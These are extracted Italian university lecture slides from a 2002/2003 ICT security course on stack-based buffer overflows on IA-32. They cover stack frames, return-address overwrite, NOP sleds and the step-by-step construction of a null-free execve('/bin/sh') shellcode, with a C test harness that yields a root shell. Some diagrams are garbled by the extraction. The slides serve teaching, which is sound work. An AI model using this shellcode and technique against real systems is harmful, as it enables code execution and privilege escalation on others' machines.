Alberto Ornaghi <[email protected]>
Lorenzo Cavallaro <[email protected]>
Buffer Overflows
(stack based)
ICT security 2002/2003
1
Table of contents




Introduzione all’IA-32
Problema
Code Injection
Shellcode
ICT security 2002/2003
2
Introduzione
ICT security 2002/2003
3
Record di attivazione
Return Address - E’ l’indirizzo a cui
viene ceduto il controllo una volta
terminata l’esecuzione della funzione.
Base Pointer - E’ il contenuto del
registro EBP al momento della chiamata
alla funzione. Rappresenta il puntatore
al record di attivazione precedente che
deve essere ripristinato al termine della
funzione
ICT security 2002/2003
high
ret address
base pointer
automatic
variables
...
...
low
4
Sullo stack
int foo(int a, int b)
{
int i = 5;
return (a + b) * i;
}
int main(int argc, char **argv)
{
int c = 3, d = 4, e = 0;
e = foo(c, d);
printf(“e = %d\n”, e);
ICT security 2002/2003
}
stack
high
4
3
ret address
base pointer
5
low
5
RDA innestati
int foo(int a, int b)
{
bar(a, b);
}
int bar(int a, int b)
{
...
}
int main(int argc, char **argv)
{
foo(c, d);
}
ICT security 2002/2003
high
d
c
ret address
base pointer
b
a
ret address
base pointer
low
6
Registri della CPU
high
d
EIP: instruction pointer
“puntatore all’istruzione
successiva”
c
ret address
base pointer
EBP: frame pointer
“puntatore riferito alla base
del record di attivazione”
(fisso)
ESP: stack pointer
“puntatore riferito al top
della stack” (mobile)
ICT security 2002/2003
b
a
ret address
base pointer
low
7
Prologo ed epilogo

Prologo:
push %ebp
mov %ebp, %esp

(salva %ebp)
(sposta %esp)
Epilogo
leave
ret
(ripristina %esp e %ebp)
(ripristina %eip)
ICT security 2002/2003
8
Variabili automatiche
b
Int foo(int a, int b)
{
int i, j;
char buf[9];
…
}
high
a
ret address
base pointer
i
L’allineamento di default
sullo stack e’ a double
word (4 byte)
I buffer vengono estesi per
essere allineati a 4 byte
ICT security 2002/2003
j
pad
buffer
low
9
Problema
ICT security 2002/2003
10
Situazione normale
b
int foo(int a, int b)
{
int i, j;
char buf[9];
}
high
a
ret address
base pointer
i = 5;
j = 123;
strcpy(buf, “sicurezza”);
05 005 00 00
7B 00
12300 00
61
a
72
r e65 7A
z 7A
z
73
s 69
i 63
c 75
u
ICT security 2002/2003
low
11
Situazione critica
b
int foo(int a, int b)
{
int i, j;
char buf[9];
}
high
a
ret address
base pointer
i = 5;
j = 123;
strcpy(buf, “sicurezzabcde”);
05 005 00 00
e 00 00 00
65
a 62
b 63
c 64
d
61
r 65
e 7A
z 7A
z
72
Buffer Overflow
ICT security 2002/2003
s 69
i 63
c 75
u
73
low
12
Situazione molto critica
int foo(intRet
a, int
b)
Overflow
{
Segmentation
fault...
int i, j;
char buf[9];
EIP = 0x65656565
i = 5;
j = 123;
strcpy(buf,
“sicurezzaaaabbbbcccceeeeffff”);
}
ICT security 2002/2003
b
high
a
65ret65address
65 65
64
64 pointer
64 64
base
63 635 63 63
12362 62
62 62
61 61 61 61
72 65 7A 7A
73 69 63 75
low
13
Code Injection
ICT security 2002/2003
14
Modifica del ret address
int a = 3;
int b = 5;
int e;
0xbffffcab
b
0xbffffca7
a
high
8BretFC
address
FF BF
90
90 pointer
90 90
base
e = foo(a, b);
90 90 90 90
90 90 90 90
printf(“%d\n”, e);
90 90 90 90
90 90 90 90
ret addr
0xbffffc8b
ICT security 2002/2003
90 90 90 90
low
15
Guessing del “ret addr” (1)
Non esiste un algoritmo efficiente per trovare il “ret addr”
Procediamo empiricamente tenendo conto che:
 il S.O. usa memoria virtuale e paginazione
Processo 1
0xbfffffff
high
Processo 2
0xbfffffff
0xbffffffb
0xbffffffb
0xbffffff7
0xbffffff7
0xbffffff3
low
ICT security 2002/2003
0xbffffff3
16
Guessing del “ret addr” (2)

L’immagine dei processi e’ cosi’ strutturata:
offset variabile
env
high
argv
RDA main
offset fisso
RDA foo
RDA bar
low
ICT security 2002/2003
17
Guessing del “ret addr” (3)

lo stack pointer (esp) e’ una buona base dalla
quale poter togliere (o aggiungere) un offset;
quindi l’indirizzo cosi’ ottenuto e’ un buon candidato
come retaddr del programma vulnerabile.
buf[4]
ret addr
high
buf[0]
b
a
esp
offset (8)
low
ICT security 2002/2003
18
Problematiche


Le funzioni di copia per le stringhe (strcpy, gets,
ecc) copiano fino al primo NULL byte (terminatore
per le stringhe).
Il codice iniettato non dovra’ contenere NULL byte
code[] = “\xeb\x2a\x5f\xc6\x47\x07\x00\x89\x7f\x08\xc7\x47”;
strcpy(buf, code);
buf = “\xeb\x2a\x5f\xc6\x47\x07”
ICT security 2002/2003
19
Facilitazioni

Per aumentare la probabilita’
di trovare il “ret addr” e’
possibile preparare una “pista
di atterraggio” di NOP (0x90)
(istruzione macchina che non
fa nulla).
ret addr allargato
ret address
...
CODE
CTED
INJE
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
ICT security 2002/2003
20
Struttura del buffer

Il buffer che verra’ iniettato nel programma
vulnerabile avra’ una struttura simile a
questa:
NOP NOP
EXECUTABE CODE
RET ADDR
code[] = “\x90\x90\x90...\xeb\x2a...\x8d\xfc\xff\xbf”;
attenzione !!
ICT security 2002/2003
21
Considerazioni...



Il buffer potrebbe essere troppo piccolo per
contenere un codice “utile”
Lo stack potrebbe non essere eseguibile
Il “code” puo’ essere messo in qualsiasi
punto della memoria (non solo sullo stack, e
non solo nel buffer)
ICT security 2002/2003
22
Lo shellcode
ICT security 2002/2003
23
exec.c
#include <stdio.h>
#include <unistd.h>
int main()
{
char *shell[] = { "/bin/sh", NULL };
}
execve(shell[0], shell, NULL);
ICT security 2002/2003
24
Disasm main
push
mov
sub
movl
mov
and
mov
push
push
movl
lea
mov
push
mov
push
call
%ebp
%esp, %ebp
$0x18, %esp
$0x809cd00, 0xfffffff8(%ebp)
0xfffffff8(%ebp), %eax
0xfffffff0, %esp
%eax, 0xfffffff0(%ebp)
%eax
$0x0
$0x0, 0xfffffffc(%ebp)
0xfffffff0(%ebp), %eax
0xfffffffc(%ebp), %edx
%eax
%edx, 0xfffffff4(%ebp)
0xfffffff0(%ebp)
0x804cab0 <__execve>
ICT security 2002/2003
base pointer
$0x809cd00
$0x0
($0x809cd00)
$0x809cd00
25
Disasm execve
mov
mov
mov
mov
mov
int
$0x8(%ebp), %edi
$0xc(%ebp), %ecx
$0x10(%ebp), %edx
%edi, %ebx
$0xb, %eax
$0x80
ICT security 2002/2003
$0x0
($0x809cd00)
$0x809cd00
ret address
base address
26
registri
mov
mov
mov
mov
mov
int
$0x8(%ebp), %edi
$0xc(%ebp), %ecx
$0x10(%ebp), %edx
%edi, %ebx
$0xb, %eax
$0x80
sh-2.03# id
uid=0(root)
eax = 0xb
ebx = “/bin/sh”
gid=0(root) groups=0(root)
ecx = (“/bin/sh”, NULL)
edx = (0x0)
ICT security 2002/2003
27
Lo shellcode
eax = 0xb
ebx = “/bin/sh”
ecx = (“/bin/sh”, NULL)
edx = (0x0)
Supponiamo di avere l’indirizzo sullo stack di “/bin/sh”
nel registro %edi
movb
movl
movl
lea
lea
mov
mov
int
$0x0, 0x7(%edi)
%edi, 0x8(%edi)
$0x0, 0xc(%edi)
0xc(%edi), %edx
0x8(%edi), %ecx
%edi, %ebx
$0xb, %eax
$0x80
ICT security 2002/2003
#terminazione
#indirizzo
#NULL
#envp NULL
#array
#/bin/sh
#syscall
28
Lo shellcode
edi = “/bin/sh”
Come troviamo l’indirizzo sullo stack di “/bin/sh” ???
jmp string_addr
after_jmp:
pop
%edi
[...]
string_addr:
call after_jmp
.string \"/bin/sh\"
ICT security 2002/2003
Shellcode
pagina
precedente
29
Opcode dello shellcode
jmp string_addr
after_jmp:
pop
%edi
movb $0x0, 0x7(%edi)
movl %edi, 0x8(%edi)
movl $0x0, 0xc(%edi)
lea
0xc(%edi), %edx
lea
0x8(%edi), %ecx
mov
%edi, %ebx
mov
$0xb, %eax
int
$0x80
string_addr:
call after_jmp
.string \"/bin/sh\"
# 0xeb 0x1e
#
#
#
#
#
#
#
#
#
0x5f
0xc6
0x89
0xc7
0x8d
0x8d
0x89
0xb8
0xcd
0x47
0x7f
0x47
0x57
0x4f
0xfb
0x0b
0x80
0x07 0x00
0x08
0x0c 0x00 0x00 0x00
0x0c
0x08
0x00 0x00 0x00
# 0xe8 0xd1 0xff 0xff 0xff
ICT security 2002/2003
30
Eliminazione null bytes
movl $0x0b, %eax
{
xorl %eax, %eax
movb %0x0b, %al
movb $0x00, 0xc(%edi)
{
xorl %eax, %eax
movb %al, 0xc(%edi)
ICT security 2002/2003
31
Shellcode finale
jmp string_addr
after_jmp:
pop
%edi
xorl %eax, %eax
movb %al, 0x7(%edi)
movl %edi, 0x8(%edi)
movl %eax, 0xc(%edi)
lea
0xc(%edi), %edx
lea
0x8(%edi), %ecx
mov
%edi, %ebx
movb $0xb, %al
int
$0x80
string_addr:
call after_jmp
.string \"/bin/sh\"
# 0xeb 0x18
#
#
#
#
#
#
#
#
#
#
0x5f
0x31
0x88
0x89
0x89
0x8d
0x8d
0x89
0xb0
0xcd
0xc0
0x47
0x7f
0x47
0x57
0x4f
0xfb
0x0b
0x80
0x07
0x08
0x0c
0x0c
0x08
# 0xe8 0xde 0xff 0xff 0xff
ICT security 2002/2003
32
Testing dello shellcode
char shellcode[] =
"\xeb\x1d\x5f\x31\xc0\x88\x47\x07\x89\x7f\x08\x89”
“\x47\x0c\x8d\x57\x0c\x8d\x4f\x08\x89\xfb\xb0\x0b”
“\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
int main()
{
sh-2.03# id
uid=0(root) gid=0(root) groups=0(root)
void (*f)(void) = (void (*)(void))shellcode;
f();
}
ICT security 2002/2003
33
– Lorenzo Cavallaro
– Alberto Ornaghi

<[email protected]>
<[email protected]>
Mailing list del corso (per domande tecniche)
[email protected]
[email protected]
ICT security 2002/2003
34
Scarica

Base Pointer